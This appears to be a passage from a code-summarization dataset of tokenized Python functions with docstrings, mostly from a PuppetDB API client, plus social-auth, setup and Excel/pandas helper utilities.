"f4028:c0:m5"}
{"signature": "def _query(self, endpoint, path=None, query=None,<EOL>order_by=None, limit=None, offset=None, include_total=False,<EOL>summarize_by=None, count_by=None, count_filter=None,<EOL>request_method='<STR_LIT:GET>'):", "body": "log.debug('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(endpoint, path, query, limit,<EOL>offset, summarize_by, count_by,<EOL>count_filter))<EOL>url = self._url(endpoint, path=path)<EOL>payload = {}<EOL>if query is not None:<EOL><INDENT>payload['<STR_LIT>'] = query<EOL><DEDENT>if order_by is not None:<EOL><INDENT>payload[PARAMETERS['<STR_LIT>']] = order_by<EOL><DEDENT>if limit is not None:<EOL><INDENT>payload['<STR_LIT>'] = limit<EOL><DEDENT>if include_total is True:<EOL><INDENT>payload[PARAMETERS['<STR_LIT>']] =json.dumps(include_total)<EOL><DEDENT>if offset is not None:<EOL><INDENT>payload['<STR_LIT>'] = offset<EOL><DEDENT>if summarize_by is not None:<EOL><INDENT>payload[PARAMETERS['<STR_LIT>']] = summarize_by<EOL><DEDENT>if count_by is not None:<EOL><INDENT>payload[PARAMETERS['<STR_LIT>']] = count_by<EOL><DEDENT>if count_filter is not None:<EOL><INDENT>payload[PARAMETERS['<STR_LIT>']] = count_filter<EOL><DEDENT>if not (payload):<EOL><INDENT>payload = None<EOL><DEDENT>if not self.token:<EOL><INDENT>auth = (self.username, self.password)<EOL><DEDENT>else:<EOL><INDENT>auth = None<EOL><DEDENT>try:<EOL><INDENT>if request_method.upper() == '<STR_LIT:GET>':<EOL><INDENT>r = self._session.get(url, params=payload,<EOL>verify=self.ssl_verify,<EOL>cert=(self.ssl_cert, self.ssl_key),<EOL>timeout=self.timeout,<EOL>auth=auth)<EOL><DEDENT>elif request_method.upper() == '<STR_LIT:POST>':<EOL><INDENT>r = self._session.post(url,<EOL>data=json.dumps(payload, default=str),<EOL>verify=self.ssl_verify,<EOL>cert=(self.ssl_cert, self.ssl_key),<EOL>timeout=self.timeout,<EOL>auth=auth)<EOL><DEDENT>else:<EOL><INDENT>log.error(\"<STR_LIT>\".format(<EOL>request_method))<EOL>raise APIError<EOL><DEDENT>r.raise_for_status()<EOL>if '<STR_LIT>' in r.headers:<EOL><INDENT>self.last_total = r.headers['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.last_total = None<EOL><DEDENT>json_body = r.json()<EOL>if json_body is not None:<EOL><INDENT>return json_body<EOL><DEDENT>else:<EOL><INDENT>del json_body<EOL>raise EmptyResponseError<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout:<EOL><INDENT>log.error(\"<STR_LIT>\".format(ERROR_STRINGS['<STR_LIT>'],<EOL>self.host, self.port,<EOL>self.protocol.upper()))<EOL>raise<EOL><DEDENT>except requests.exceptions.ConnectionError:<EOL><INDENT>log.error(\"<STR_LIT>\".format(ERROR_STRINGS['<STR_LIT>'],<EOL>self.host, self.port,<EOL>self.protocol.upper()))<EOL>raise<EOL><DEDENT>except requests.exceptions.HTTPError as err:<EOL><INDENT>log.error(\"<STR_LIT>\".format(err.response.text,<EOL>self.host, self.port,<EOL>self.protocol.upper()))<EOL>raise<EOL><DEDENT>", "docstring": "This method actually querries PuppetDB. Provided an endpoint and an\n        optional path and/or query it will fire a request at PuppetDB. If\n        PuppetDB can be reached and answers within the timeout we'll decode\n        the response and give it back or raise for the HTTP Status Code\n        PuppetDB gave back.\n\n        :param endpoint: The PuppetDB API endpoint we want to query.\n        :type endpoint: :obj:`string`\n        :param path: An additional path if we don't wish to query the\\\n                bare endpoint.\n        :type path: :obj:`string`\n        :param query: (optional) A query to further narrow down the resultset.\n        :type query: :obj:`string`\n        :param order_by: (optional) Set the order parameters for the resultset.\n        :type order_by: :obj:`string`\n        :param limit: (optional) Tell PuppetDB to limit it's response to this\\\n                number of objects.\n        :type limit: :obj:`int`\n        :param offset: (optional) Tell PuppetDB to start it's response from\\\n                the given offset. This is useful for implementing pagination\\\n                but is not supported just yet.\n        :type offset: :obj:`string`\n        :param include_total: (optional) Include the total number of results\n        :type order_by: :obj:`bool`\n        :param summarize_by: (optional) Specify what type of object you'd like\\\n                to see counts at the event-counts and aggregate-event-counts \\\n                endpoints\n        :type summarize_by: :obj:`string`\n        :param count_by: (optional) Specify what type of object is counted\n        :type count_by: :obj:`string`\n        :param count_filter: (optional) Specify a filter for the results\n        :type count_filter: :obj:`string`\n\n        :raises: :class:`~pypuppetdb.errors.EmptyResponseError`\n\n        :returns: The decoded response from PuppetDB\n        :rtype: :obj:`dict` or :obj:`list`", "id": "f4028:c0:m6"}
{"signature": "def nodes(self, unreported=<NUM_LIT:2>, with_status=False, **kwargs):", "body": "nodes = self._query('<STR_LIT>', **kwargs)<EOL>now = datetime.datetime.utcnow()<EOL>if type(nodes) == dict:<EOL><INDENT>nodes = [nodes, ]<EOL><DEDENT>if with_status:<EOL><INDENT>latest_events = self.event_counts(<EOL>query=EqualsOperator(\"<STR_LIT>\", True),<EOL>summarize_by='<STR_LIT>'<EOL>)<EOL><DEDENT>for node in nodes:<EOL><INDENT>node['<STR_LIT>'] = None<EOL>node['<STR_LIT>'] = None<EOL>if with_status:<EOL><INDENT>status = [s for s in latest_events<EOL>if s['<STR_LIT>']['<STR_LIT:title>'] == node['<STR_LIT>']]<EOL>try:<EOL><INDENT>node['<STR_LIT>'] = node['<STR_LIT>']<EOL>if status:<EOL><INDENT>node['<STR_LIT>'] = status[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>if status:<EOL><INDENT>node['<STR_LIT>'] = status = status[<NUM_LIT:0>]<EOL>if status['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>node['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if status['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>node['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if status['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>node['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>node['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>if node['<STR_LIT>'] is not None:<EOL><INDENT>try:<EOL><INDENT>last_report = json_to_datetime(<EOL>node['<STR_LIT>'])<EOL>last_report = last_report.replace(tzinfo=None)<EOL>unreported_border = now - timedelta(hours=unreported)<EOL>if last_report < unreported_border:<EOL><INDENT>delta = (now - last_report)<EOL>node['<STR_LIT>'] = True<EOL>node['<STR_LIT>'] = '<STR_LIT>'.format(<EOL>delta.days,<EOL>int(delta.seconds / <NUM_LIT>),<EOL>int((delta.seconds % <NUM_LIT>) / <NUM_LIT>)<EOL>)<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>node['<STR_LIT>'] = True<EOL><DEDENT><DEDENT>if not node['<STR_LIT>']:<EOL><INDENT>node['<STR_LIT>'] = True<EOL><DEDENT><DEDENT>yield Node(self,<EOL>name=node['<STR_LIT>'],<EOL>deactivated=node['<STR_LIT>'],<EOL>expired=node['<STR_LIT>'],<EOL>report_timestamp=node['<STR_LIT>'],<EOL>catalog_timestamp=node['<STR_LIT>'],<EOL>facts_timestamp=node['<STR_LIT>'],<EOL>status_report=node['<STR_LIT>'],<EOL>noop=node.get('<STR_LIT>'),<EOL>noop_pending=node.get('<STR_LIT>'),<EOL>events=node['<STR_LIT>'],<EOL>unreported=node.get('<STR_LIT>'),<EOL>unreported_time=node.get('<STR_LIT>'),<EOL>report_environment=node['<STR_LIT>'],<EOL>catalog_environment=node['<STR_LIT>'],<EOL>facts_environment=node['<STR_LIT>'],<EOL>latest_report_hash=node.get('<STR_LIT>'),<EOL>cached_catalog_status=node.get('<STR_LIT>')<EOL>)<EOL><DEDENT>", "docstring": "Query for nodes by either name or query. If both aren't\n        provided this will return a list of all nodes. This method\n        also fetches the nodes status and event counts of the latest\n        report from puppetdb.\n\n        :param with_status: (optional) include the node status in the\\\n                           returned nodes\n        :type with_status: :bool:\n        :param unreported: (optional) amount of hours when a node gets\n                           marked as unreported\n        :type unreported: :obj:`None` or integer\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function\n\n        :returns: A generator yieling Nodes.\n        :rtype: :class:`pypuppetdb.types.Node`", "id": "f4028:c0:m7"}
{"signature": "def node(self, name):", "body": "nodes = self.nodes(path=name)<EOL>return next(node for node in nodes)<EOL>", "docstring": "Gets a single node from PuppetDB.\n\n        :param name: The name of the node search.\n        :type name: :obj:`string`\n\n        :return: An instance of Node\n        :rtype: :class:`pypuppetdb.types.Node`", "id": "f4028:c0:m8"}
{"signature": "def edges(self, **kwargs):", "body": "edges = self._query('<STR_LIT>', **kwargs)<EOL>for edge in edges:<EOL><INDENT>identifier_source = edge['<STR_LIT>'] +'<STR_LIT:[>' + edge['<STR_LIT>'] + '<STR_LIT:]>'<EOL>identifier_target = edge['<STR_LIT>'] +'<STR_LIT:[>' + edge['<STR_LIT>'] + '<STR_LIT:]>'<EOL>yield Edge(source=self.resources[identifier_source],<EOL>target=self.resources[identifier_target],<EOL>relationship=edge['<STR_LIT>'],<EOL>node=edge['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Get the known catalog edges, formed between two resources.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A generating yielding Edges.\n        :rtype: :class:`pypuppetdb.types.Edge`", "id": "f4028:c0:m9"}
{"signature": "def environments(self, **kwargs):", "body": "return self._query('<STR_LIT>', **kwargs)<EOL>", "docstring": "Get all known environments from Puppetdb.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A list of dictionaries containing the results.\n        :rtype: :obj:`list` of :obj:`dict`", "id": "f4028:c0:m10"}
{"signature": "def facts(self, name=None, value=None, **kwargs):", "body": "if name is not None and value is not None:<EOL><INDENT>path = '<STR_LIT>'.format(name, value)<EOL><DEDENT>elif name is not None and value is None:<EOL><INDENT>path = name<EOL><DEDENT>else:<EOL><INDENT>path = None<EOL><DEDENT>facts = self._query('<STR_LIT>', path=path, **kwargs)<EOL>for fact in facts:<EOL><INDENT>yield Fact(<EOL>node=fact['<STR_LIT>'],<EOL>name=fact['<STR_LIT:name>'],<EOL>value=fact['<STR_LIT:value>'],<EOL>environment=fact['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Query for facts limited by either name, value and/or query.\n\n        :param name: (Optional) Only return facts that match this name.\n        :type name: :obj:`string`\n        :param value: (Optional) Only return facts of `name` that\\\n            match this value. Use of this parameter requires the `name`\\\n            parameter be set.\n        :type value: :obj:`string`\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n            to the _query function\n\n        :returns: A generator yielding Facts.\n        :rtype: :class:`pypuppetdb.types.Fact`", "id": "f4028:c0:m11"}
{"signature": "def factsets(self, **kwargs):", "body": "return self._query('<STR_LIT>', **kwargs)<EOL>", "docstring": "Returns a set of all facts or for a single certname.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A list of dictionaries containg the results.\n        :rtype: :obj:`list` of :obj:`dict`", "id": "f4028:c0:m12"}
{"signature": "def fact_contents(self, **kwargs):", "body": "return self._query('<STR_LIT>', **kwargs)<EOL>", "docstring": "To complement fact_paths(), this endpoint provides the capability\n        to descend into structured facts and retreive the values associated\n        with fact paths.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A list of dictionaries containg the results.\n        :rtype: :obj:`list` of :obj:`dict`", "id": "f4028:c0:m13"}
{"signature": "def fact_paths(self, **kwargs):", "body": "return self._query('<STR_LIT>', **kwargs)<EOL>", "docstring": "Fact Paths are intended to be a counter-part of the fact-names\n        endpoint. It provides increased granularity around structured\n        facts and may be used for building GUI autocompletions or other\n        applications that require a basic top-level view of fact paths.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A list of dictionaries containg the results.\n        :rtype: :obj:`list` of :obj:`dict`", "id": "f4028:c0:m14"}
{"signature": "def resources(self, type_=None, title=None, **kwargs):", "body": "path = None<EOL>if type_ is not None:<EOL><INDENT>type_ = self._normalize_resource_type(type_)<EOL>if title is not None:<EOL><INDENT>path = '<STR_LIT>'.format(type_, title)<EOL><DEDENT>elif title is None:<EOL><INDENT>path = type_<EOL><DEDENT><DEDENT>resources = self._query('<STR_LIT>', path=path, **kwargs)<EOL>for resource in resources:<EOL><INDENT>yield Resource(<EOL>node=resource['<STR_LIT>'],<EOL>name=resource['<STR_LIT:title>'],<EOL>type_=resource['<STR_LIT:type>'],<EOL>tags=resource['<STR_LIT>'],<EOL>exported=resource['<STR_LIT>'],<EOL>sourcefile=resource['<STR_LIT:file>'],<EOL>sourceline=resource['<STR_LIT>'],<EOL>parameters=resource['<STR_LIT>'],<EOL>environment=resource['<STR_LIT>'],<EOL>)<EOL><DEDENT>", "docstring": "Query for resources limited by either type and/or title or query.\n        This will yield a Resources object for every returned resource.\n\n        :param type_: (Optional) The resource type. This can be any resource\n            type referenced in\\\n            'https://docs.puppetlabs.com/references/latest/type.html'\n        :type type_: :obj:`string`\n        :param title: (Optional) The name of the resource as declared as the\n            'namevar' in the Puppet Manifests. This parameter requires the\\\n            `type_` parameter be set.\n        :type title: :obj:`string`\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n            to the _query function\n\n        :returns: A generator yielding Resources\n        :rtype: :class:`pypuppetdb.types.Resource`", "id": "f4028:c0:m15"}
{"signature": "def catalog(self, node):", "body": "catalogs = self.catalogs(path=node)<EOL>return next(x for x in catalogs)<EOL>", "docstring": "Get the available catalog for a given node.\n\n        :param node: (Required) The name of the PuppetDB node.\n        :type: :obj:`string`\n\n        :returns: An instance of Catalog\n        :rtype: :class:`pypuppetdb.types.Catalog`", "id": "f4028:c0:m16"}
{"signature": "def catalogs(self, **kwargs):", "body": "catalogs = self._query('<STR_LIT>', **kwargs)<EOL>if type(catalogs) == dict:<EOL><INDENT>catalogs = [catalogs, ]<EOL><DEDENT>for catalog in catalogs:<EOL><INDENT>yield Catalog(node=catalog['<STR_LIT>'],<EOL>edges=catalog['<STR_LIT>']['<STR_LIT:data>'],<EOL>resources=catalog['<STR_LIT>']['<STR_LIT:data>'],<EOL>version=catalog['<STR_LIT:version>'],<EOL>transaction_uuid=catalog['<STR_LIT>'],<EOL>environment=catalog['<STR_LIT>'],<EOL>code_id=catalog.get('<STR_LIT>'),<EOL>catalog_uuid=catalog.get('<STR_LIT>'))<EOL><DEDENT>", "docstring": "Get the catalog information from the infrastructure based on path\n        and/or query results. It is strongly recommended to include query\n        and/or paging parameters for this endpoint to prevent large result\n        sets or PuppetDB performance bottlenecks.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A generator yielding Catalogs\n        :rtype: :class:`pypuppetdb.types.Catalog`", "id": "f4028:c0:m17"}
{"signature": "def events(self, **kwargs):", "body": "events = self._query('<STR_LIT>', **kwargs)<EOL>for event in events:<EOL><INDENT>yield Event(<EOL>node=event['<STR_LIT>'],<EOL>status=event['<STR_LIT:status>'],<EOL>timestamp=event['<STR_LIT>'],<EOL>hash_=event['<STR_LIT>'],<EOL>title=event['<STR_LIT>'],<EOL>property_=event['<STR_LIT>'],<EOL>message=event['<STR_LIT:message>'],<EOL>new_value=event['<STR_LIT>'],<EOL>old_value=event['<STR_LIT>'],<EOL>type_=event['<STR_LIT>'],<EOL>class_=event['<STR_LIT>'],<EOL>execution_path=event['<STR_LIT>'],<EOL>source_file=event['<STR_LIT:file>'],<EOL>line_number=event['<STR_LIT>'],<EOL>)<EOL><DEDENT>", "docstring": "A report is made up of events which can be queried either\n        individually or based on their associated report hash. It is strongly\n        recommended to include query and/or paging parameters for this\n        endpoint to prevent large result sets or PuppetDB performance\n        bottlenecks.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function\n\n        :returns: A generator yielding Events\n        :rtype: :class:`pypuppetdb.types.Event`", "id": "f4028:c0:m18"}
{"signature": "def event_counts(self, summarize_by, **kwargs):", "body": "return self._query('<STR_LIT>',<EOL>summarize_by=summarize_by,<EOL>**kwargs)<EOL>", "docstring": "Get event counts from puppetdb.\n\n        :param summarize_by: (Required) The object type to be counted on.\n                             Valid values are 'containing_class', 'resource'\n                             and 'certname'.\n        :type summarize_by: :obj:`string`\n        :param count_by: (Optional) The object type that is counted when\n                         building the counts of 'successes', 'failures',\n                         'noops' and 'skips'. Support values are 'certname'\n                         and 'resource' (default)\n        :type count_by: :obj:`string`\n        :param count_filter: (Optional) A JSON query that is applied to the\n                             event-counts output but before the results are\n                             aggregated. Supported operators are `=`, `>`,\n                             `<`, `>=`, and `<=`. Supported fields are\n                             `failures`, `successes`, `noops`, and `skips`.\n        :type count_filter: :obj:`string`\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A list of dictionaries containing the results.\n        :rtype: :obj:`list`", "id": "f4028:c0:m19"}
{"signature": "def aggregate_event_counts(self, summarize_by, query=None,<EOL>count_by=None, count_filter=None):", "body": "return self._query('<STR_LIT>',<EOL>query=query, summarize_by=summarize_by,<EOL>count_by=count_by, count_filter=count_filter)<EOL>", "docstring": "Get event counts from puppetdb aggregated into a single map.\n\n        :param summarize_by: (Required) The object type to be counted on.\n                             Valid values are 'containing_class', 'resource'\n                             and 'certname' or any comma-separated value\n                             thereof.\n        :type summarize_by: :obj:`string`\n        :param query: (Optional) The PuppetDB query to filter the results.\n                      This query is passed to the `events` endpoint.\n        :type query: :obj:`string`\n        :param count_by: (Optional) The object type that is counted when\n                         building the counts of 'successes', 'failures',\n                         'noops' and 'skips'. Support values are 'certname'\n                         and 'resource' (default)\n        :type count_by: :obj:`string`\n        :param count_filter: (Optional) A JSON query that is applied to the\n                             event-counts output but before the results are\n                             aggregated. Supported operators are `=`, `>`,\n                             `<`, `>=`, and `<=`. Supported fields are\n                             `failures`, `successes`, `noops`, and `skips`.\n        :type count_filter: :obj:`string`\n\n        :returns: A dictionary of name/value results.\n        :rtype: :obj:`dict`", "id": "f4028:c0:m20"}
{"signature": "def server_time(self):", "body": "return self._query('<STR_LIT>')[self.parameters['<STR_LIT>']]<EOL>", "docstring": "Get the current time of the clock on the PuppetDB server.\n        :returns: An ISO-8091 formatting timestamp.\n        :rtype: :obj:`string`", "id": "f4028:c0:m21"}
{"signature": "def current_version(self):", "body": "return self._query('<STR_LIT:version>')['<STR_LIT:version>']<EOL>", "docstring": "Get version information about the running PuppetDB server.\n\n        :returns: A string representation of the PuppetDB version.\n        :rtype: :obj:`string`", "id": "f4028:c0:m22"}
{"signature": "def fact_names(self):", "body": "return self._query('<STR_LIT>')<EOL>", "docstring": "Get a list of all known facts.", "id": "f4028:c0:m23"}
{"signature": "def metric(self, metric=None):", "body": "return self._query('<STR_LIT>', path=metric)<EOL>", "docstring": "Query for a specific metrc.\n\n        :param metric: The name of the metric we want.\n        :type metric: :obj:`string`\n\n        :returns: The return of :meth:`~pypuppetdb.api.BaseAPI._query`.", "id": "f4028:c0:m24"}
{"signature": "def reports(self, **kwargs):", "body": "reports = self._query('<STR_LIT>', **kwargs)<EOL>for report in reports:<EOL><INDENT>yield Report(<EOL>api=self,<EOL>node=report['<STR_LIT>'],<EOL>hash_=report['<STR_LIT>'],<EOL>start=report['<STR_LIT>'],<EOL>end=report['<STR_LIT>'],<EOL>received=report['<STR_LIT>'],<EOL>version=report['<STR_LIT>'],<EOL>format_=report['<STR_LIT>'],<EOL>agent_version=report['<STR_LIT>'],<EOL>transaction=report['<STR_LIT>'],<EOL>environment=report['<STR_LIT>'],<EOL>status=report['<STR_LIT:status>'],<EOL>noop=report.get('<STR_LIT>'),<EOL>noop_pending=report.get('<STR_LIT>'),<EOL>metrics=report['<STR_LIT>']['<STR_LIT:data>'],<EOL>logs=report['<STR_LIT>']['<STR_LIT:data>'],<EOL>code_id=report.get('<STR_LIT>'),<EOL>catalog_uuid=report.get('<STR_LIT>'),<EOL>cached_catalog_status=report.get('<STR_LIT>')<EOL>)<EOL><DEDENT>", "docstring": "Get reports for our infrastructure. It is strongly recommended\n        to include query and/or paging parameters for this endpoint to\n        prevent large result sets and potential PuppetDB performance\n        bottlenecks.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function\n\n        :returns: A generating yielding Reports\n        :rtype: :class:`pypuppetdb.types.Report`", "id": "f4028:c0:m25"}
{"signature": "def inventory(self, **kwargs):", "body": "inventory = self._query('<STR_LIT>', **kwargs)<EOL>for inv in inventory:<EOL><INDENT>yield Inventory(<EOL>node=inv['<STR_LIT>'],<EOL>time=inv['<STR_LIT>'],<EOL>environment=inv['<STR_LIT>'],<EOL>facts=inv['<STR_LIT>'],<EOL>trusted=inv['<STR_LIT>']<EOL>)<EOL><DEDENT>", "docstring": "Get Node and Fact information with an alternative query syntax\n        for structured facts instead of using the facts, fact-contents and\n        factsets endpoints for many fact-related queries.\n\n        :param \\*\\*kwargs: The rest of the keyword arguments are passed\n                           to the _query function.\n\n        :returns: A generator yielding Inventory\n        :rtype: :class:`pypuppetdb.types.Inventory`", "id": "f4028:c0:m26"}
{"signature": "def status(self):", "body": "return self._query('<STR_LIT:status>')<EOL>", "docstring": "Get PuppetDB server status.\n\n        :returns: A dict with the PuppetDB status information\n        :rtype: :obj:`dict`", "id": "f4028:c0:m27"}
{"signature": "def http_get_provider(provider,<EOL>request_url, params, token_secret, token_cookie = None):", "body": "if not validate_provider(provider):<EOL><INDENT>raise InvalidUsage('<STR_LIT>')<EOL><DEDENT>klass    = getattr(socialauth.providers, provider.capitalize())<EOL>provider = klass(request_url, params, token_secret, token_cookie)<EOL>if provider.status == <NUM_LIT>:<EOL><INDENT>ret = dict(status = <NUM_LIT>, redirect = provider.redirect)<EOL>tc  = getattr(provider, '<STR_LIT>', None)<EOL>if tc is not None:<EOL><INDENT>ret['<STR_LIT>'] = tc<EOL><DEDENT>return ret<EOL><DEDENT>if provider.status == <NUM_LIT:200> and provider.user_id is not None:<EOL><INDENT>ret = dict(status = <NUM_LIT:200>, provider_user_id = provider.user_id)<EOL>if provider.user_name is not None:<EOL><INDENT>ret['<STR_LIT>'] = provider.user_name<EOL><DEDENT>return ret<EOL><DEDENT>raise InvalidUsage('<STR_LIT>')<EOL>", "docstring": "Handle HTTP GET requests on an authentication endpoint.\n\n    Authentication flow begins when ``params`` has a ``login`` key with a value\n    of ``start``. For instance, ``/auth/twitter?login=start``.\n\n    :param str provider: An provider to obtain a user ID from.\n    :param str request_url: The authentication endpoint/callback.\n    :param dict params: GET parameters from the query string.\n    :param str token_secret: An app secret to encode/decode JSON web tokens.\n    :param str token_cookie: The current JSON web token, if available.\n    :return: A dict containing any of the following possible keys:\n\n        ``status``: an HTTP status code the server should sent\n\n        ``redirect``: where the client should be directed to continue the flow\n\n        ``set_token_cookie``: contains a JSON web token and should be stored by\n        the client and passed in the next call.\n\n        ``provider_user_id``: the user ID from the login provider\n\n        ``provider_user_name``: the user name from the login provider", "id": "f4032:m1"}
{"signature": "def are_arrays_identical(arr1, arr2):", "body": "<EOL>orig1 = arr1[<NUM_LIT:0>]<EOL>orig2 = arr2[<NUM_LIT:0>]<EOL>arr1[<NUM_LIT:0>] = <NUM_LIT:0><EOL>if arr2[<NUM_LIT:0>] != orig2:<EOL><INDENT>arr1[<NUM_LIT:0>] = orig1<EOL>return True<EOL><DEDENT>arr1[<NUM_LIT:0>] = <NUM_LIT:1><EOL>if arr2[<NUM_LIT:0>] != orig2:<EOL><INDENT>arr1[<NUM_LIT:0>] = orig1<EOL>return True<EOL><DEDENT>arr1[<NUM_LIT:0>] = orig1<EOL>return False<EOL>", "docstring": "Check if two 1-dimensional array point to the same buffer.\n\n    The check is performed only on the first value of the arrays. For\n    this test to be reliable, arr2 must not point to a subset of arr1.\n    For example, if arr2 = arr1[1:] has been executed just before calling\n    this function, the test will FAIL, even if the same buffer is used by\n    both arrays. arr2 = arr1[:1] will succeed though.\n\n    dtypes are not supposed to be identical.", "id": "f4044:m0"}
{"signature": "def get_requirements(*args):", "body": "install_deps = []<EOL>try:<EOL><INDENT>for fpath in args:<EOL><INDENT>install_deps.extend([str(d.req or d.url) for d in parse_requirements(fpath)])<EOL><DEDENT><DEDENT>except:<EOL><INDENT>print('<STR_LIT>'.format(fpath))<EOL><DEDENT>return [dep for dep in install_deps if dep != '<STR_LIT:None>']<EOL>", "docstring": "Parse all requirements files given and return a list of the dependencies", "id": "f4053:m0"}
{"signature": "def recursive_glob(base_directory, regex=None):", "body": "if regex is None:<EOL><INDENT>regex = '<STR_LIT>'<EOL><DEDENT>files = glob(os.path.join(base_directory, regex))<EOL>for path, dirlist, filelist in os.walk(base_directory):<EOL><INDENT>for ignored in IGNORE:<EOL><INDENT>try:<EOL><INDENT>dirlist.remove(ignored)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>for dir_name in dirlist:<EOL><INDENT>files.extend(glob(os.path.join(path, dir_name, regex)))<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "Uses glob to find all files that match the regex in base_directory.\n\n    @param base_directory: string\n\n    @param regex: string\n\n    @return: set", "id": "f4053:m1"}
{"signature": "def _openpyxl_read_xl(xl_path: str):", "body": "try:<EOL><INDENT>wb = load_workbook(filename=xl_path, read_only=True)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return wb<EOL><DEDENT>", "docstring": "Use openpyxl to read an Excel file.", "id": "f4056:m0"}
{"signature": "def _xlrd_read_xl(xl_path: str):", "body": "try:<EOL><INDENT>wb = xlrd.open_workbook(xl_path)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return wb<EOL><DEDENT>", "docstring": "Use xlrd to get the list of sheet names from `xl_path`.", "id": "f4056:m1"}
{"signature": "def _check_xl_path(xl_path: str):", "body": "xl_path = op.abspath(op.expanduser(xl_path))<EOL>if not op.isfile(xl_path):<EOL><INDENT>raise IOError(\"<STR_LIT>\".format(xl_path))<EOL><DEDENT>return xl_path, _use_openpyxl_or_xlrf(xl_path)<EOL>", "docstring": "Return the expanded absolute path of `xl_path` if\n    if exists and 'xlrd' or 'openpyxl' depending on\n    which module should be used for the Excel file in `xl_path`.\n\n    Parameters\n    ----------\n    xl_path: str\n        Path to an Excel file\n\n    Returns\n    -------\n    xl_path: str\n        User expanded and absolute path to `xl_path`\n\n    module: str\n        The name of the module you should use to process the\n        Excel file.\n        Choices: 'xlrd', 'pyopenxl'\n\n    Raises\n    ------\n    IOError\n        If the file does not exist\n\n    RuntimError\n        If a suitable reader for xl_path is not found", "id": "f4056:m3"}
{"signature": "def read_xl(xl_path: str):", "body": "xl_path, choice = _check_xl_path(xl_path)<EOL>reader = XL_READERS[choice]<EOL>return reader(xl_path)<EOL>", "docstring": "Return the workbook from the Excel file in `xl_path`.", "id": "f4056:m4"}
{"signature": "def get_sheet_list(xl_path: str) -> List:", "body": "wb = read_xl(xl_path)<EOL>if hasattr(wb, '<STR_LIT>'):<EOL><INDENT>return wb.sheetnames<EOL><DEDENT>else:<EOL><INDENT>return wb.sheet_names()<EOL><DEDENT>", "docstring": "Return a list with the name of the sheets in\n    the Excel file in `xl_path`.", "id": "f4056:m5"}
{"signature": "def concat_sheets(xl_path: str, sheetnames=None, add_tab_names=False):", "body": "xl_path, choice = _check_xl_path(xl_path)<EOL>if sheetnames is None:<EOL><INDENT>sheetnames = get_sheet_list(xl_path)<EOL><DEDENT>sheets = pd.read_excel(xl_path, sheetname=sheetnames)<EOL>if add_tab_names:<EOL><INDENT>for tab in sheets:<EOL><INDENT>sheets[tab]['<STR_LIT>'] = [tab] * len(sheets[tab])<EOL><DEDENT><DEDENT>return pd.concat([sheets[tab] for tab in sheets])<EOL>", "docstring": "Return a pandas DataFrame with the concat'ed\n    content of the `sheetnames` from the Excel file in\n    `xl_path`.\n\n    Parameters\n    ----------\n    xl_path: str\n        Path to the Excel file\n\n    sheetnames: list of str\n        List of existing sheet names of `xl_path`.\n        If None, will use all sheets from `xl_path`.\n\n    add_tab_names: bool\n        If True will add a 'Tab' column which says from which\n        tab the row comes from.\n\n    Returns\n    -------\n    df: pandas.DataFrame", "id": "f4056:m6"}
{"signature": "def _check_cols(df, col_names):", "body": "for col in col_names:<EOL><INDENT>if not hasattr(df, col):<EOL><INDENT>raise AttributeError(\"<STR_LIT>\".format(col,<EOL>df.columns))<EOL><DEDENT><DEDENT>", "docstring": "Raise an AttributeError if `df` does not have a column named as an item of\n    the list of strings `col_names`.", "id": "f4056:m7"}
{"signature": "def col_values(df, col_name):", "body": "_check_cols(df, [col_name])<EOL>if '<STR_LIT:O>' in df[col_name] or pd.np.issubdtype(df[col_name].dtype, str): <EOL><INDENT>return [nom.lower() for nom in df[pd.notnull(df)][col_name] if not pd.isnull(nom)]<EOL><DEDENT>else:<EOL><INDENT>return [nom for nom in df[pd.notnull(df)][col_name] if not pd.isnull(nom)]<EOL><DEDENT>", "docstring": "Return a list of not null values from the `col_name` column of `df`.", "id": "f4056:m8"}
{"signature": "def duplicated_rows(df, col_name):", "body": "_check_cols(df, [col_name])<EOL>dups = df[pd.notnull(df[col_name]) & df.duplicated(subset=[col_name])]<EOL>return dups<EOL>", "docstring": "Return a DataFrame with the duplicated values of the column `col_name`\n    in `df`.", "id": "f4056:m9"}
{"signature": "def duplicated(values: Sequence):", "body": "vals = pd.Series(values)<EOL>return vals[vals.duplicated()]<EOL>", "docstring": "Return the duplicated items in `values`", "id": "f4056:m10"}
